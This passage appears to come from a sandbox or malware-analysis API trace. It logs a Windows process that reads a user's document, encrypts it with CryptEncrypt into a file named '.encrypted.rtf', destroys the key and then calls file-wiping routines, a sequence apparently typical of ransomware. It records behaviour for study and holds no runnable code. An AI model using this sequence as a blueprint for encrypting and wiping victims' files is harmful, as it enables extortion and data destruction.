wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.201] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu")) returned 0x10 [0024.201] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\-mcd0g9w-y6.encrypted.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.201] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.201] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.201] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.201] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.203] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.203] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.204] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6e0, lpOverlapped=0x0) returned 1 [0024.204] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.207] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.207] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.207] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.207] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.207] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.208] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.208] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.208] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.208] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.208] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.208] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.208] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.209] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.209] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064c40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.209] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.209] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.209] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.209] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.210] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.210] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.210] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x106e0, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x106f0) returned 1 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.210] CharLowerBuffW (in: lpsz="byte[67313]", cchLength=0xb | out: lpsz="byte[67313]") returned 0xb [0024.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.211] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.211] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.211] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.211] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.212] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f1ea0*, pdwDataLen=0xe8f3dfdf68*=0x106e0, dwBufLen=0x106f0 | out: pbData=0xe8f41f1ea0*, pdwDataLen=0xe8f3dfdf68*=0x106f0) returned 1 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.212] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.212] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.212] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.215] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.215] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.215] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.217] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.217] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.217] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.217] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.217] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.217] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.217] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.217] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0024.217] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.217] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.217] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.217] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.217] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.217] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.218] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.218] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.218] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.218] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.218] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.218] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.218] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.218] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.218] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.218] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.222] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.222] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.222] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.222] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.222] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.222] CharLowerBuffW (in: lpsz="byte[67296]", cchLength=0xb | out: lpsz="byte[67296]") returned 0xb [0024.223] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.224] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.224] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.224] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 